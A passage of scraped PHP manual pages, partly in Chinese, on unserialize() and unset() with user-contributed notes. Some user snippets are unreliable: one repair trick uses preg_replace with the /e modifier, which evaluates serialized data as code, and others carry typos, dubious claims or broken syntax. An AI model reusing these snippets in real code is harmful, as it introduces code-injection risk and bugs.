echo 'There are currently '. int_to_words(-120223456) . ' members logged on.<br>';

 //Utilisation en Francais
$nwords = array( "zéro", "un", "deux", "trois", "quatre", "cinq", "six", "sept",
                   "huit", "neuf", "dix", "onze", "douze", "treize",
                   "quatorze", "quinze", "seize", "dix-sept", "dix-huit",
                   "dix-neuf", "vingt", 30 => "trente", 40 => "quarante",
                   50 => "cinquante", 60 => "soixante", 70 => "soixante-dix", 80 => "quatre-vingt",
                   90 => "quatre-vingt-dix" , "hundred" => "cent", "thousand"=> "mille", "million"=>"million",
                   "separator"=>"", "minus"=>"moins");

echo 'Il y a actuellement '. int_to_words(-120223456) . ' membres connectés.<br>';
php at ianco dot co dot uk 07-Oct-2005 04:36
I can't help being surprised that

(string)"0" == (string)"0.00"

evaluates to true. It's the same with strval and single quotes.
=== avoids it.

Why does it matter? One of my suppliers, unbelievably, uses 0 to mean standard discount and 0.00 to mean no discount in their stock files.
Steve Ball 08-Sep-2005 07:18
It seems that one is being treated as an unsigned large int (32 bit), and the other as a signed large int (which has rolled over/under).

2326201276 - (-1968766020) =  4294967296.
Tom Nicholson 28-Apr-2004 09:13
If you want to convert an integer into an English word string, eg. 29 -> twenty-nine, then here's a function to do it.

Note on use of fmod()
  I used the floating point fmod() in preference to the % operator, because % converts the operands to int, corrupting values outside of the range [-2147483648, 2147483647]

I haven't bothered with "billion" because the word means 10e9 or 10e12 depending who you ask.

The function returns '#' if the argument does not represent a whole number.

<?php
$nwords = array( "zero", "one", "two", "three", "four", "five", "six", "seven",
                   "eight", "nine", "ten", "eleven", "twelve", "thirteen",
                   "fourteen", "fifteen", "sixteen", "seventeen", "eighteen",
                   "nineteen", "twenty", 30 => "thirty", 40 => "forty",
                   50 => "fifty", 60 => "sixty", 70 => "seventy", 80 => "eighty",
                   90 => "ninety" );

function int_to_words($x) {
   global $nwords;

   if(!is_numeric($x))
      $w = '#';
   else if(fmod($x, 1) != 0)
      $w = '#';
   else {
      if($x < 0) {
         $w = 'minus ';
         $x = -$x;
      } else
         $w = '';
      // ... now $x is a non-negative integer.

      if($x < 21)   // 0 to 20
         $w .= $nwords[$x];
      else if($x < 100) {   // 21 to 99
         $w .= $nwords[10 * floor($x/10)];
         $r = fmod($x, 10);
         if($r > 0)
            $w .= '-'. $nwords[$r];
      } else if($x < 1000) {   // 100 to 999
         $w .= $nwords[floor($x/100)] .' hundred';
         $r = fmod($x, 100);
         if($r > 0)
            $w .= ' and '. int_to_words($r);
      } else if($x < 1000000) {   // 1000 to 999999
         $w .= int_to_words(floor($x/1000)) .' thousand';
         $r = fmod($x, 1000);
         if($r > 0) {
            $w .= ' ';
            if($r < 100)
               $w .= 'and ';
            $w .= int_to_words($r);
         }
      } else {    //  millions
         $w .= int_to_words(floor($x/1000000)) .' million';
         $r = fmod($x, 1000000);
         if($r > 0) {
            $w .= ' ';
            if($r < 100)
               $word .= 'and ';
            $w .= int_to_words($r);
         }
      }
   }
   return $w;
}

?>

Usage:
<?php
echo 'There are currently '. int_to_words($count) . ' members logged on.';
?>


从已存储的表示中创建 PHP 的值

  • ? strval
  • unset ?
  • PHP Manual
  • Variable handling 函数
  • 从已存储的表示中创建 PHP 的值

unserialize

(PHP 4, PHP 5, PHP 7)

unserialize — 从已存储的表示中创建 PHP 的值

说明

unserialize ( string $str ) : mixed

unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值。

参数

str

序列化后的字符串。

若被解序列化的变量是一个对象，在成功地重新构造对象之后，PHP 会自动地试图去调用 __wakeup() 成员函数（如果存在的话）。

Note: unserialize_callback_func 指令

如果在解序列化的时候需要实例化一个未定义类，则可以设置回调函数以供调用（以免得到的是不完整的 object "__PHP_Incomplete_Class"）。可通过 php.ini、ini_set() 或 .htaccess 定义'unserialize_callback_func'。每次实例化一个未定义类时它都会被调用。若要禁止这个特性，只需置空此设定。

返回值

返回的是转换之后的值，可为 integer、float、string、array 或 object。

如果传递的字符串不可解序列化，则返回 FALSE，并产生一个 E_NOTICE。

更新日志

版本 | 说明
4.2.0 | 添加了 unserialize_callback_func 指令。

范例

Example #1 unserialize() 例子

<?php
// 这里，我们使用 unserialize() 装载来自数据库的 $session_data 数组中的会话数据。
// 此例是描述 serialize() 的那个例子的补充。

$conn = odbc_connect("webdb", "php", "chicken");
$stmt = odbc_prepare($conn, "SELECT data FROM sessions WHERE id = ?");
$sqldata = array($_SERVER['PHP_AUTH_USER']);
if (!odbc_execute($stmt, $sqldata) || !odbc_fetch_into($stmt, $tmp)) {
    // 如果执行出错或返回错误，则初始化为空数组
    $session_data = array();
} else {
    // 现在我们需要的是 $tmp[0] 中已序列化的数据。
    $session_data = unserialize($tmp[0]);
    if (!is_array($session_data)) {
        // 出错，初始化为空数组
        $session_data = array();
    }
}
?>

Example #2 unserialize_callback_func 例子

<?php
$serialized_object='O:1:"a":1:{s:5:"value";s:3:"100";}';

// unserialize_callback_func 从 PHP 4.2.0 起可用
ini_set('unserialize_callback_func', 'mycallback'); // 设置您的回调函数

function mycallback($classname)
{
   // 只需包含含有类定义的文件
   // $classname 指出需要的是哪一个类
}
?>

注释

Warning

如果反序列化了 FALSE 的值，或者在过程中发生了错误，都会返回 FALSE。 可以通过 str 和 serialize(false) 进行比较，或者捕捉 E_NOTICE 错误来判断这种特殊情况。

参见

  • serialize() - 产生一个可存储的值的表示
  • 自动加载对象
  • unserialize_callback_func
  • __wakeup()

User Contributed Notes

Anonymous 11-Mar-2019 06:36
If serialize() is the answer, you're almost certainly asking the wrong question.

JSON is widely available. The only thing it does not do, is the very thing that makes serialization immensely dangerous. All it takes is a crafty hacker to pass a crafted payload to a supposedly 'secured' serialize call, for a database driver to be overwritten with malicious code, for example.

Recreate the object. Normally. With actual data, and a source file, not with serialize. To do otherwise is laziness bordering on malice.
me+phpnet at unreal4u dot com 30-Oct-2017 03:30
Just some reminder which may save somebody some time regarding the `$options` array:

Say you want to be on the safe side and not allow any objects to be unserialized... My first thought was doing the following:

<?php
$lol = unserialize($string, false);
// This will generate:
// Warning: unserialize() expects parameter 2 to be array, boolean given
?>

The correct way of doing this is the following:
<?php
$lol = unserialize($string, ['allowed_classes' => false]);
?>

Hope it helps somebody!
bjd 02-Jan-2017 12:49
Talk on Exploiting PHP7 Unserialize here: https://media.ccc.de/v/33c3-7858-exploiting_php7_unserialize
m.m.j.kronenburg 06-Sep-2016 09:52
You can use the following code to use the php 7 unserialize function in php 5.3 and upwards. This adds the $option argument.

<?php

namespace
{

/**
 * PHP 7 unserialize function for PHP 5.3 upwards.
 * Added the $option argument (allowed_classes).
 * See php unserialize manual for more detail.
 **/
function php7_unserialize($str, $options = array())
{
  if(version_compare(PHP_VERSION, '7.0.0', '>='))
  { return unserialize($str, $options); }

  $allowed_classes = isset($options['allowed_classes']) ?
    $options['allowed_classes'] : true;
  if(is_array($allowed_classes) || !$allowed_classes)
  {
    $str = preg_replace_callback(
      '/(?=^|:)(O|C):\d+:"([^"]*)":(\d+):{/',
      function($matches) use ($allowed_classes)
      {
        if(is_array($allowed_classes) &&
          in_array($matches[2], $allowed_classes))
        { return $matches[0]; }
        else
        {
          return $matches[1].':22:"__PHP_Incomplete_Class":'.
            ($matches[3] + 1).
            ':{s:27:"__PHP_Incomplete_Class_Name";'.
            serialize($matches[2]);
        }
      },
      $str
    );
  }
  unset($allowed_classes);
  return unserialize($str);
}

} // namespace

namespace my_name_space
{
  /**
   * Use the new php7 unserialize in your namespace without
   * renaming all unserialize(...) function calls to
   * php7_unserialize(...).
   **/
  function unserialize($str, $options = array())
  { return php7_unserialize($str, $options); }
}

?>
chris at pollett dot org 02-Jul-2015 03:28
When you serialize an object of a class from a particular namespace, the namespace is recorded as part of the serialization. If you decide to change this namespace's name, it can be hard to read in old serialized objects. I.e., suppose you had serialized an object of type foo\A, you change the namespace of your project to goo but otherwise leave the class definition of A unchanged. You would like to be able to unserialize the object as goo\A, instead unserialization will only create a partial object. To fix this in the case where you don't have nested objects in your class definition, you can use the following simple rename function:
/**
 * Used to change the namespace of a serialized php object (assumes doesn't
 * have nested subobjects)
 *
 * @param string $class_name new fully qualified name with namespace
 * @param string $object_string serialized object
 *
 * @return string serialized object with new name
 */
function renameSerializedObject($class_name, $object_string)
{
    /*  number of digits in the length of name of the object needs to be
        less than 12 digits (probably more like 4) for this to work.
    */
    $name_length = intval(substr($object_string, 2, 14));
    $name_space_info_length = strlen("O:".$name_length.":") +
        $name_length + 2; // 2 for quotes;
    $object_string = 'O:' .
        strlen($class_name) . ':"'. $class_name.'"' .
        substr($object_string, $name_space_info_length);
    return $object_string;
}
ErnestV 03-Aug-2013 01:05
Just a note - if the serialized string contains a reference to a class that cannot be instantiated (e.g. being abstract) PHP will immediately die with a fatal error. If the unserialize() statement is preceded with a '@' to avoid cluttering the logs with warns or notices there will be absolutely no clue as to why the script stopped working. Cost me a couple of hours...
Ray.Paseur often uses Gmail 26-Jul-2013 01:41
In the Classes and Objects docs, there is this: In order to be able to unserialize() an object, the class of that object needs to be defined.

Prior to PHP 5.3, this was not an issue.  But after PHP 5.3 an object made by SimpleXML_Load_String() cannot be serialized.  An attempt to do so will result in a run-time failure, throwing an exception.  If you store such an object in $_SESSION, you will get a post-execution error that says this:

Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'SimpleXMLElement' is not allowed' in [no active file]:0 Stack trace: #0 {main} thrown in [no active file] on line 0

The entire contents of the session will be lost.  Hope this saves someone some time!

<?php // RAY_temp_ser.php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION);
$_SESSION['hello'] = 'World';
var_dump($_SESSION);

// AN XML STRING FOR TEST DATA
$xml = '<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>';

// MAKE AN OBJECT (GIVES SimpleXMLElement)
$obj = SimpleXML_Load_String($xml);

// STORE THE OBJECT IN THE SESSION
$_SESSION['obj'] = $obj;
suman dot jis at gmail dot com 13-Mar-2012 09:12
I was getting unserialize()  Error at offset error.

If you face similar problem  then use the following procedure

$auctionDetails = preg_replace('!s:(\d+):"(.*?)";!se', "'s:'.strlen('$2').':\"$2\";'", $dataArr[$i]['auction_details'] );
$auctionDetails = unserialize($auctionDetails);
walf 22-Aug-2011 08:22
a replacement for unserialize that returns whether it worked and populates the unserialized variable by reference:
<?php
function funserialize($serialized, &$into) {
    static $sfalse;
    if ($sfalse === null)
        $sfalse = serialize(false);
    $into = @unserialize($serialized);
    return $into !== false || rtrim($serialized) === $sfalse;//whitespace at end of serialized var is ignored by PHP
}

$s_foo = 'b:0;';
var_dump(funserialize($s_foo, $foo), $foo);

$s_bar = 'bar';
var_dump(funserialize($s_bar, $bar), $bar);

$s_foo = 'a:0:{};';
var_dump(funserialize($s_foo, $foo), $foo);

?>
gives:

bool(true)
bool(false)

bool(false)
bool(false)

bool(true)
array(0) {
}
MBa 02-Aug-2011 03:49
To check if a string is serialized:

$blSerialized=(@unserialize($sText)||$sText=='b:0;');
chris at colourlovers dot com 16-Jun-2011 05:31
Anyone having trouble serializing data with SimpleXMLElement objects stored within it, check this out:

This will traverse $data looking for any children which are instances of SimpleXMLElement, and will run ->asXML() on them, turning them into a string and making them serializable. Other data will be left alone.

<?php
function exportNestedSimpleXML($data) {
    if (is_scalar($data) === false) {
        foreach ($data as $k => $v) {
            if ($v instanceof SimpleXMLElement) {
                $v = str_replace("&#13;","\r",$v->asXML());
            } else {
                $v = exportNestedSimpleXML($v);
            }

            if (is_array($data)) {
                $data[$k] = $v;
            } else if (is_object($data)) {
                $data->$k = $v;
            }
        }
    }

    return $data;
}

$data = array (
    "baz" => array (
        "foo" => new stdClass(),
        "int" => 123,
        "str" => "asdf",
        "bar" => new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>'),
    )
);

var_dump($data);
/*array(1) {
  ["baz"]=>
  array(4) {
    ["foo"]=>
    object(stdClass)#3 (0) {
    }
    ["int"]=>
    int(123)
    ["str"]=>
    string(4) "asdf"
    ["bar"]=>
    object(SimpleXMLElement)#4 (1) {
      [0]=>
      string(3) "bar"
    }
  }
}*/

var_dump(exportNestedSimpleXML($data));
/*array(1) {
  ["baz"]=>
  array(4) {
    ["foo"]=>
    object(stdClass)#3 (0) {
    }
    ["int"]=>
    int(123)
    ["str"]=>
    string(4) "asdf"
    ["bar"]=>
    string(54) "<?xml version="1.0" encoding="UTF-8"?>
<foo>bar</foo>
"
  }
}
*/
?>
daniel at fourstaples dot com 23-Mar-2010 08:46
Here's a simple function to get the class of a serialized string (that is, the type of object that will be returned if it's unserialized):

<?php
function get_serial_class($serial) {
    $types = array('s' => 'string', 'a' => 'array', 'b' => 'bool', 'i' => 'int', 'd' => 'float', 'N;' => 'NULL');

    $parts = explode(':', $serial, 4);
    return isset($types[$parts[0]]) ? $types[$parts[0]] : trim($parts[2], '"');
}
?>

I use this when saving a serialized object to a cookie, to make sure it is the right type when I go to unserialize it.

The type names are the same format/case as you would see if you did a var_dump().
Fagzal 09-Mar-2010 10:10
To all who have problem with quoting and slashes when storing serialized data in MySQL: you are probably doing it wrong.

Use e.g. PDO with placeholders and the blob column type, and it will Just Work.
arbie samong 10-Sep-2009 07:42
__PHP_Incomplete_Class Object Demystified

1. First take note of the output. A simple example:

__PHP_Incomplete_Class Object (
[__PHP_Incomplete_Class_Name] => SomeObject1
[obj1property1] => somevalue1 [obj1property2] => __PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => SomeObject2 [obj2property1] => somevalue1 [obj2property2] => Array (
['key1'] => somevalue3, ['key2'] => somevalue4 ) ) )

2. We analyze this and break it down.
__PHP_Incomplete_Class Object tells you there is an object that needs to be declared somehow.
__PHP_Incomplete_Class_Name simply tells you the expected class name. It is just one of the properties for now.

So we have:
a) an unknown object that has a class name SomeObject1 (first class)
b) it has 2 properties, namely obj1property1 and obj2property2
c) obj2property2 is itself an object whose class name is SomeObject2 (the second class)
d) SomeObject2 has two properties, obj2property1 and obj2property2
e) obj2property2 is an array that contains two elements

3. Now that we have an idea of the structure, we shall create class definitions based from it. We will just create properties for now, methods are not required as a minimum.

<?php
class SomeObject1 {
        public $obj1property1;
        public $obj1property2;
}
class SomeObject2 {
        public $obj2property1;
        public $obj2property2;
}
?>

4. Have that accessible to your script and it will solve the __PHP_Incomplete_Class Object problem as far as the output is concerned. Now you will have:

SomeObject1 ( [obj1property1] => somevalue1 [obj1property2] => SomeObject2 ( [obj2property1] => somevalue1 [obj2property2] => Array ( ['key1'] => somevalue3, ['key2'] => somevalue4 ) ) )

As you will notice, __PHP_Incomplete_Class Object is gone and replaced by the class name. The property __PHP_Incomplete_Class_Name is also removed.

5. As for the array property obj2property2, we can directly access that and just assume that it is an array and loop through it:

<?php

// this will be SomeObject1
$data = unserialize($serialized_data);

// this will be SomeObject2
$data2 = $data->obj1property2();

foreach($data2->obj2property2 as $key => $value):
         print $key.' : '. $value .'<br>';
endforeach;

?>

Outputs:
key1 : somevalue3
key2 : somevalue4

That's it. You can add more methods on the class declarations for the given properties, provided you keep your original output as basis for the data types.
w dot laurencine at teknoa dot net 07-Apr-2009 05:54
When dealing with a string which contain "\r", it seems that the length is not evaluated correctly. The following solves the problem for me :

<?php
// remove the \r caracters from the $unserialized string
$unserialized = str_replace("\r","",$unserialized);

// and then unserialize()
unserialize($unserialized);
?>
chris AT cmbuckley DOT co DOT uk 14-Aug-2008 06:47
As mentioned in the notes, unserialize returns false in the event of an error and for boolean false. Here is the first solution mentioned, without using error handling:

<?php
function isSerialized($str) {
    return ($str == serialize(false) || @unserialize($str) !== false);
}

var_dump(isSerialized('s:6:"foobar";')); // bool(true)
var_dump(isSerialized('foobar'));        // bool(false)
var_dump(isSerialized('b:0;'));          // bool(true)
?>
BenBE at omorphia dot de 02-Mar-2007 06:20
When trying to serialize or unserialize recursive arrays or otherwise linked data you might find the undocumented R data type quite useful.

If you want a array like the one produced with
<?
$a = array();
$a[0] =& $a;
?>
serialized you can store it using a string simular to this one:
<?
$a = unserialize("a:1:{i:0;R:1;}");
?>

Both sources will make $a hold an array that self-references itself in index 0.

The argument for R is the index of the created sub-variable of the serialize-string beginning with 1.
double at dumpit dot com 19-Dec-2006 05:09
This little function will check whether the serialized string is well formed.

PHP < 6 because i'd heard changes will be made in this php-intern function,
maybe it could be edited easy for it.

<?php

function wd_check_serialization( $string, &$errmsg )
{

    $str = 's';
    $array = 'a';
    $integer = 'i';
    $any = '[^}]*?';
    $count = '\d+';
    $content = '"(?:\\\";|.)*?";';
    $open_tag = '\{';
    $close_tag = '\}';
    $parameter = "($str|$array|$integer|$any):($count)" . "(?:[:]($open_tag|$content)|[;])";
    $preg = "/$parameter|($close_tag)/";
    if( !preg_match_all( $preg, $string, $matches ) )
    {
        $errmsg = 'not a serialized string';
        return false;
    }
    $open_arrays = 0;
    foreach( $matches[1] AS $key => $value )
    {
        if( !empty( $value ) && ( $value != $array xor $value != $str xor $value != $integer ) )
        {
            $errmsg = 'undefined datatype';
            return false;
        }
        if( $value == $array )
        {
            $open_arrays++;
            if( $matches[3][$key] != '{' )
            {
                $errmsg = 'open tag expected';
                return false;
            }
        }
        if( $value == '' )
        {
            if( $matches[4][$key] != '}' )
            {
                $errmsg = 'close tag expected';
                return false;
            }
            $open_arrays--;
        }
        if( $value == $str )
        {
            $aVar = ltrim( $matches[3][$key], '"' );
            $aVar = rtrim( $aVar, '";' );
            if( strlen( $aVar ) != $matches[2][$key] )
            {
                $errmsg = 'stringlen for string not match';
                return false;
            }
        }
        if( $value == $integer )
        {
            if( !empty( $matches[3][$key] ) )
            {
                $errmsg = 'unexpected data';
                return false;
            }
            if( !is_integer( (int)$matches[2][$key] ) )
            {
                $errmsg = 'integer expected';
                return false;
            }
        }
    }
    if( $open_arrays != 0 )
    {
        $errmsg = 'wrong setted arrays';
        return false;
    }
    return true;
}

?>
Are Pedersen 09-Aug-2006 01:46
Be aware that if useing serialize/unserialize in a serverfarm with both 32bit and 64bit servers you can get unexpected results.

Ex: if you serialize an integer with value of 2147483648 on a 64bit system and then unserialize it on a 32bit system you will get the value -2147483648 instead. This is because an integer on 32bit cannot be above 2147483647 so it wraps.
Chris Hayes (chris at hypersites dot com) 23-Oct-2004 09:27
In reply to the earlier post about having to include object definitions *before* using unserialize.  There is a workaround for this.

When an object is serialized, the first bit of the string is actually the name of the class.  When an unknown object is unserialized, this is maintained as a property.  So if you serialize it again, you get back the exact same string as if you'd serialized the original object.  Basically, to cut to the point...

If you use

$_SESSION['my_object'] = unserialize(serialize($_SESSION['my_object']))

then you get back an object of the correct type, even if the session had originally loaded it as an object of type stdClass.
aderyn at nowhere dot tld 30-Oct-2003 10:02
A quick note:
If you store a serialized object in a session, you have to include the class _before_ you initialize (session_start()) the session.


释放给定的变量

  • ? unserialize
  • var_dump ?
  • PHP Manual
  • Variable handling 函数
  • 释放给定的变量

unset

(PHP 4, PHP 5, PHP 7)

unset — 释放给定的变量

说明

unset ( mixed $var [, mixed $... ] ) : void

unset() 销毁指定的变量。

unset() 在函数中的行为会依赖于想要销毁的变量的类型而有所不同。

如果在函数中 unset() 一个全局变量，则只是局部变量被销毁，而在调用环境中的变量将保持调用 unset() 之前一样的值。

<?php
function destroy_foo() {
    global $foo;
    unset($foo);
}

$foo = 'bar';
destroy_foo();
echo $foo;
?>

以上例程会输出：

bar

如果您想在函数中 unset() 一个全局变量，可使用 $GLOBALS 数组来实现：

<?php
function foo()
{
    unset($GLOBALS['bar']);
}

$bar = "something";
foo();
?>

如果在函数中 unset() 一个通过引用传递的变量，则只是局部变量被销毁，而在调用环境中的变量将保持调用 unset() 之前一样的值。

<?php
function foo(&$bar) {
    unset($bar);
    $bar = "blah";
}

$bar = 'something';
echo "$bar\n";

foo($bar);
echo "$bar\n";
?>

以上例程会输出：

something
something

如果在函数中 unset() 一个静态变量，那么在函数内部此静态变量将被销毁。但是，当再次调用此函数时，此静态变量将被复原为上次被销毁之前的值。

<?php
function foo()
{
    static $bar;
    $bar++;
    echo "Before unset: $bar, ";
    unset($bar);
    $bar = 23;
    echo "after unset: $bar\n";
}

foo();
foo();
foo();
?>

以上例程会输出：

Before unset: 1, after unset: 23
Before unset: 2, after unset: 23
Before unset: 3, after unset: 23

参数

var

要销毁的变量。

...

其他变量......

返回值

没有返回值。

范例

Example #1 unset() 示例

<?php
// 销毁单个变量
unset ($foo);

// 销毁单个数组元素
unset ($bar['quux']);

// 销毁一个以上的变量
unset($foo1, $foo2, $foo3);
?>

Example #2 使用 (unset) 类型强制转换

(unset) 类型强制转换常常和函数 unset() 引起困惑。 为了完整性，(unset) 是作为一个 NULL 类型的强制转换。它不会改变变量的类型。

<?php
$name = 'Felipe';

var_dump((unset) $name);
var_dump($name);
?>

以上例程会输出：

NULL
string(6) "Felipe"

注释

Note: 因为是一个语言构造器而不是一个函数，不能被 可变函数 调用。

Note:

It is possible to unset even object properties visible in current context.

Note:

在 PHP 5 之前无法在对象里销毁 $this。

Note:

在 unset() 一个无法访问的对象属性时，如果定义了 __unset() 则对调用这个重载方法。

参见

  • isset() - 检测变量是否已设置并且非 NULL
  • empty() - 检查一个变量是否为空
  • __unset()
  • array_splice() - 去掉数组中的某一部分并用其它值取代

User Contributed Notes

Phantasma_9 at yahoo dot com 08-Aug-2016 06:17
This is probably trivial but there is no error for unsetting a non-existing variable.
magnesium dot oxide dot play+php at gmail dot com 20-Mar-2014 08:10
You can unset superglobals like $GLOBALS, $_GET etc., but causing an unususal behavior (as of PHP 5.3.3).

1) unsetting of superglobals is done globally, i.e. unsetting inside the function affects GLOBALLY.

2) Recreation of unset'ed superglobals can be done (recreated valiables are superglobals), but original functionality (in $GLOBALS, $_SESSION ...) has lost.

<?php

function foo(){
  unset($GLOBALS);
}

function bar(){
  var_dump($GLOBALS);
}

foo();
bar(); //issues E_NOTICE ($GLOBALS not defined)
$GLOBALS=3;
bar(); //displays int(3)

?>
Hayley Watson 05-Mar-2013 09:41
You don't need to check that a variable is set before you unset it.
<?php
unset($a);
?>
is harmless.
<?php
if(isset($a)) {
    unset($a);
}
?>
is pointless complication.

This doesn't apply to properties of objects that have __isset() methods that visibly change object state or __unset() methods that don't properly check their arguments or have extra side effects.

The latter case means that __unset shouldn't do more than what it says on the tin, and also has the responsibility for checking (possibly using __isset()) that what it's being asked to do makes sense.

The former case is just plain bad design.
tigercat at aol dot com 10-Oct-2012 07:55
The combination of "global" and "unset" in functions can lead to some unexpected results.  This is because the "global" function creates a reference to a variable at the time it's executed, so a variable can be deleted out from under a "global $my_variable" declaration in a function.  Accessing data that's been deleted with an obsolete reference is usually a bad thing; in some languages it can generate a machine address fault.

<?php
$my_global_var = "old data";
f1();

function f1() // example of invalid variable reference use
{
  global $my_global_var;   // creates reference to global variable
  f2(); // recreates global variable, so reference is now invalid

// bad...
  echo $my_global_var;     // outputs "old data" (from invalid memory???)

// good...
  global $my_global_var;  // reestablish reference to new global variable
  echo $my_global_var;     // outputs "new data" as expected
}

function f2() // recreate global variable
{
  unset($GLOBALS['my_global_var']); // this syntax works with all variable types including arrays
  global $my_global_var; // must do this after unset to access new global variable
  $my_global_var = "new data";
}
?>
pfreilly at umd dot umich dot edu 29-Sep-2011 04:56
Despite much searching, I have not yet found an explanation as to how one can manually free resources from variables, not so much objects, in PHP.  I have also seen many comments regarding the merits and demerits of unset() versus setting a variable to null.  Thus, here are the results of some benchmarks performed comparing unset() of numerous variables to setting them to null (with regards to memory usage and processing time):

10 variables:
Unset:
Memory Usage: 296
Time Elapsed: 1.0013580322266E-5

Null set:
Memory Usage: 1736
Time Elapsed: 5.9604644775391E-6

50 variables:
Unset:
Memory Usage: 296
Time Elapsed: 3.6001205444336E-5

Null set:
Memory Usage: 8328
Time Elapsed: 3.2901763916016E-5

100 variables:
Unset:
Memory Usage: 296
Time Elapsed: 5.6982040405273E-5

Null set:
Memory Usage: 15928
Time Elapsed: 5.8174133300781E-5

1000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.00041294097900391

Null set:
Memory Usage: 168096
Time Elapsed: 0.00067591667175293

10000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.0042569637298584

Null set:
Memory Usage: 1650848
Time Elapsed: 0.0076930522918701

100000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.042603969573975

Null set:
Memory Usage: 16249080
Time Elapsed: 0.087724924087524

300000 variables:
Unset:
Memory Usage: 296
Time Elapsed: 0.13177299499512

Null set:
Memory Usage: 49796320
Time Elapsed: 0.28617882728577

Perhaps my test code for the null set was flawed, but despite that possibility it is simple to see that unset() has minimal processing time impact, and no apparent memory usage impact (unless the values returned by memory_get_usage() are flawed).  If you truly care about the ~4 microseconds saved over <50 variables, more power to you.  Otherwise, use unset() to minimize script impact on your system.
Note: Tested on PHP 5.3.8 installed via RPM on Fedora 14
edouard dot berge at gmail dot com 24-Sep-2010 09:09
Warning!

When unset from an array, if you unset all elements, the array is always set

$tab=array('A'=>1,'B'=>2);
unset($tab['A']);
unset($tab['B']);
echo isset($tab)." ".count($tab);

output: 1 0
Andreas 24-Sep-2010 05:51
You can not unset a numeric key of an array, if key is a string. See this example:

// Create a simple array with 3 different key types
$test[1] = array(
    10 => array('apples'),
    "20" => array('bananas'),
    '30' => array('peaches')
);
$test[2] = (array) json_decode(json_encode($test[1]));
$test[3] = (array) (object) $test[1];
// array form a stdClass object
$testClass = new stdClass();
$testClass->{10} =  array('apples');
$testClass->{"20"} =  array('bananas');
$test[4] = (array) $testClass[6];

echo "<pre>";
foreach($test as $testNum => $arr) {

    echo "\nTest: " . $testNum  . " \n";
    var_dump($arr);

    foreach($arr as $key => $fruit) {
        echo "key: " . $key . "\n";
        echo "key exists: ";
        var_dump(array_key_exists(strval($key), $arr));
        echo "typeof key is: " . gettype($key) . "\n";

        unset($arr[$key]);
    }
    var_dump($arr);
    echo "\n" . str_repeat("-", 80);
}
echo "</pre>";

And here is the output:

Test: 1
array(3) {
  [10]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  [20]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  [30]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(true)
typeof key is: integer
key: 20
key exists: bool(true)
typeof key is: integer
key: 30
key exists: bool(true)
typeof key is: integer
array(0) {
}

--------------------------------------------------------------
Test: 2
array(3) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  ["30"]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(false)
typeof key is: string
key: 20
key exists: bool(false)
typeof key is: string
key: 30
key exists: bool(false)
typeof key is: string
array(3) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  ["30"]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}

--------------------------------------------------------------
Test: 3
array(3) {
  [10]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  [20]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
  [30]=>
  array(1) {
    [0]=>
    string(7) "peaches"
  }
}
key: 10
key exists: bool(true)
typeof key is: integer
key: 20
key exists: bool(true)
typeof key is: integer
key: 30
key exists: bool(true)
typeof key is: integer
array(0) {
}

--------------------------------------------------------------
Test: 4
array(2) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
}
key: 10
key exists: bool(false)
typeof key is: string
key: 20
key exists: bool(false)
typeof key is: string
array(2) {
  ["10"]=>
  array(1) {
    [0]=>
    string(6) "apples"
  }
  ["20"]=>
  array(1) {
    [0]=>
    string(7) "bananas"
  }
}

--------------------------------------------------------------

Fix the problem with a rebuild of the array:
$oldArray = $array();
$array = array();
foreach($oldArray as $key => $item) {
    $array[intval($key)] = $item;
}
j dot vd dot merwe at enovision dot net 26-Aug-2010 05:08
A sample how to unset array elements from an array result coming from a mysql request. In this sample it is checking if a file exists and removes the row from the array if it not exists.

<?php
$db->set_query("select * from documents where document_in_user = 0"); //1
$documents = $db->result_to_array($db->get_result()); //1

foreach ($documents as $key => $row) { //2

    $file     = "uploads/".rawurldecode($row['document_name']);

    if ( file_exists ( $file ) == FALSE ) {
         unset($documents[$key]);  //3
    }
}

$documents = array_values($documents); // reindex the array (4)
?>

variables:
mysql table = documents,
array = $documents
array key (index) = $key
array row (record sort of speak) = $row

explanation:

1.
it gets the array from the table (mysql)

2.
foreach goes through the array $documents

3.
unset if record does not exist

4.
the array_values($documents) reindexes the $documents array, for otherwise you might end up in trouble when your  process will start expecting an array starting with key ($key) 0 (zero).
Anonymous 02-Jul-2010 07:20
further I realized that an object, when getting detroyed, does care about destroying variable in object space visibility but not those in local visibility, be aware of the found pattern:

<?php
class release_test{
  private $buffer;
  private $other_object;
  public function __construct(){
    $this->other_object=new other_object_class();
  }
  public function __destruct(){
    //note that you always have to unset class objects, in order to get the resources released
    unset($this->other_object);
  }
  public allocate_mem_A(){
    $this->buffer=file("/tmp/bigfile");
  }
  public allocate_mem_B(){
    $buffer=file("/tmp/bigfile");
  }
  public allocate_mem_C(){
    $buffer=file("/tmp/bigfile");
    unset($buffer);
  }
  public allocate_mem_D(){
    $this->other_buffer=file("/tmp/bigfile");
  }
}

//this does not lead to a resource problem
$A=new release_test();
$A->allocate_mem_A();
$A->__destruct();
unset($A);

//this DOES lead to a resource problem
$B=new release_test();
$B->allocate_mem_B();
$B->__destruct();
unset($B);

//this does not lead to a resource problem
$C=new release_test();
$C->allocate_mem_C();
$C->__destruct();
unset($C);

//this does not lead to a resource problem
$D=new release_test();
